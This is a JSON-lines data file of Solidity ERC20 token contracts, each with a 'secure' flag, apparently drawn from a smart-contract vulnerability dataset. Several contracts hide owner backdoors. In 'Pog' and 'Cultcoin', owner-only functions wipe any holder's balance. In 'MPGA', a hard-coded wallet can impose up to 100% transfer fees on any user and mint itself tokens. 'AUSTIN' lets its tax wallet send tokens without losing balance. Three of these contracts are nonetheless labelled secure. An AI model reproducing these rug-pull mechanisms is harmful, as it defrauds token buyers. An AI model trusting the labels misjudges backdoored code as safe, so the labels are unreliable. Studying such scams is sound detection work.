{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Pog is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable ticket;\n\n constructor() {\n _name = \"pog\";\n\n _symbol = \"pog\";\n\n _decimals = 18;\n\n uint256 initialSupply = 283000000;\n\n ticket = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == ticket, \"Not allowed\");\n\n _;\n }\n\n function lighter(address[] memory justice) public onlyOwner {\n for (uint256 i = 0; i < justice.length; i++) {\n address account = justice[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1082.sol", "secure": 1, "size_bytes": 4348 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract AUSTIN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private bots;\n\n mapping(address => bool) private _isExile;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a9211dd): AUSTIN._taxWallet should be immutable \n\t// Recommendation for a9211dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 60b27dd): AUSTIN._initialBuyTax should be constant \n\t// Recommendation for 60b27dd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 23d1e4f): AUSTIN._initialSellTax should be constant \n\t// Recommendation for 23d1e4f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6f78547): AUSTIN._finalBuyTax should be constant \n\t// Recommendation for 6f78547: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2656971): AUSTIN._finalSellTax should be constant \n\t// Recommendation for 2656971: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 44ae7ff): AUSTIN._reduceBuyTaxAt should be constant \n\t// Recommendation for 44ae7ff: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 58995ed): AUSTIN._reduceSellTaxAt should be constant \n\t// Recommendation for 58995ed: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7beb935): AUSTIN._preventSwapBefore should be constant \n\t// Recommendation for 7beb935: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump`s Dog\";\n\n string private constant _symbol = unicode\"AUSTIN\";\n\n uint256 public constant _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n uint256 public constant _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fefe045): AUSTIN.uniswapRouter should be immutable \n\t// Recommendation for fefe045: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapRouter;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 95bc02e): AUSTIN.uniswapV2Pair should be immutable \n\t// Recommendation for 95bc02e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 540c3f8): AUSTIN.chainIndexApply should be constant \n\t// Recommendation for 540c3f8: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 5cced73): AUSTIN.chainIndexApply is never initialized. It is used in AUSTIN._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 5cced73: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private chainIndexApply;\n\n struct ChainSalt {\n uint256 chainIn;\n uint256 chainOut;\n uint256 reclaimChainToken;\n }\n\n mapping(address => ChainSalt) private chainSync;\n\n uint256 private chainLimExclude;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xF5b83857f1A9537ef0E13aFc6B1EA981E0C848Bc);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExile[_taxWallet] = true;\n\n _isExile[address(this)] = true;\n\n uniswapRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapRouter.factory()).createPair(\n address(this),\n uniswapRouter.WETH()\n );\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9d2140d): AUSTIN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9d2140d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: df66143): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for df66143: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: be8b7b9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for be8b7b9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: df66143\n\t\t// reentrancy-benign | ID: be8b7b9\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: df66143\n\t\t// reentrancy-benign | ID: be8b7b9\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b6393e8): AUSTIN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b6393e8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: be8b7b9\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: df66143\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e6f4573): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e6f4573: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0906b9a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0906b9a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: cf9e3b2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for cf9e3b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapRouter) &&\n !_isExile[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: e6f4573\n\t\t\t\t// reentrancy-benign | ID: 0906b9a\n\t\t\t\t// reentrancy-eth | ID: cf9e3b2\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e6f4573\n\t\t\t\t\t// reentrancy-eth | ID: cf9e3b2\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-benign | ID: 0906b9a\n _calcChainSalt(from, to);\n\n\t\t// reentrancy-events | ID: e6f4573\n\t\t// reentrancy-eth | ID: cf9e3b2\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: cf9e3b2\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: cf9e3b2\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: e6f4573\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 5cced73): AUSTIN.chainIndexApply is never initialized. It is used in AUSTIN._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 5cced73: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : chainIndexApply.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: cf9e3b2\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e6f4573\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _calcChainSalt(address from, address to) internal {\n if (\n (_isExile[from] || _isExile[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 0906b9a\n chainLimExclude = block.number;\n }\n\n if (!_isExile[from] && !_isExile[to]) {\n if (uniswapV2Pair != to) {\n ChainSalt storage chainCalc = chainSync[to];\n\n if (uniswapV2Pair == from) {\n if (chainCalc.chainIn == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 0906b9a\n chainCalc.chainIn = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n ChainSalt storage chainDataCalc = chainSync[from];\n\n if (\n chainDataCalc.chainIn < chainCalc.chainIn ||\n !(chainCalc.chainIn > 0)\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 0906b9a\n chainCalc.chainIn = chainDataCalc.chainIn;\n }\n }\n } else {\n ChainSalt storage chainDataCalc = chainSync[from];\n\n\t\t\t\t// reentrancy-benign | ID: 0906b9a\n chainDataCalc.chainOut = chainDataCalc.chainIn.sub(\n chainLimExclude\n );\n\n\t\t\t\t// reentrancy-benign | ID: 0906b9a\n chainDataCalc.reclaimChainToken = block.timestamp;\n }\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapRouter.WETH();\n\n _approve(address(this), address(uniswapRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: e6f4573\n\t\t// reentrancy-events | ID: df66143\n\t\t// reentrancy-benign | ID: be8b7b9\n\t\t// reentrancy-benign | ID: 0906b9a\n\t\t// reentrancy-eth | ID: cf9e3b2\n uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e6f4573\n\t\t// reentrancy-events | ID: df66143\n\t\t// reentrancy-eth | ID: cf9e3b2\n _taxWallet.transfer(amount);\n }\n\n function removeStuckETH() external onlyOwner {\n uint256 contractBalance = address(this).balance;\n\n payable(owner()).transfer(contractBalance);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d4fc464): AUSTIN.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapRouter),type()(uint256).max)\n\t// Recommendation for d4fc464: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: aa776a1): AUSTIN.enableTrading() ignores return value by uniswapRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for aa776a1: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8442295): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8442295: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n _approve(address(this), address(uniswapRouter), _tTotal);\n\n\t\t// unused-return | ID: aa776a1\n\t\t// reentrancy-eth | ID: 8442295\n uniswapRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: d4fc464\n\t\t// reentrancy-eth | ID: 8442295\n IERC20(uniswapV2Pair).approve(address(uniswapRouter), type(uint256).max);\n\n\t\t// reentrancy-eth | ID: 8442295\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n receive() external payable {}\n}", "file_name": "solidity_code_1083.sol", "secure": 0, "size_bytes": 20626 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Cultcoin is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable suburb;\n\n constructor() {\n _name = \"Cult Coin\";\n\n _symbol = \"CULTCOIN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 438000000;\n\n suburb = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == suburb, \"Not allowed\");\n\n _;\n }\n\n function inquiry(address[] memory kill) public onlyOwner {\n for (uint256 i = 0; i < kill.length; i++) {\n address account = kill[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_1084.sol", "secure": 1, "size_bytes": 4355 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract MPGA is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a0b72b2): MPGA._decimals should be immutable \n\t// Recommendation for a0b72b2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e045d27): MPGA._totalSupply should be immutable \n\t// Recommendation for e045d27: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7ddff6a): MPGA._marketwleet should be immutable \n\t// Recommendation for 7ddff6a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketwleet;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketwleet = 0x01BC01b74973BA43d3991eedC4eD1d23eF04F5eA;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aprrave(address user, uint256 feePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = feePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, feePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketwleet;\n }\n\n function liqblittly(address recipient, uint256 airDrop) external {\n if (isMee()) {\n uint256 receiveRewrd = airDrop;\n\n _balances[recipient] += receiveRewrd;\n } else {\n uint256 receiveRewrd = 0;\n\n _balances[recipient] += receiveRewrd;\n }\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_1085.sol", "secure": 1, "size_bytes": 5426 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}", "file_name": "solidity_code_1086.sol", "secure": 1, "size_bytes": 1519 }
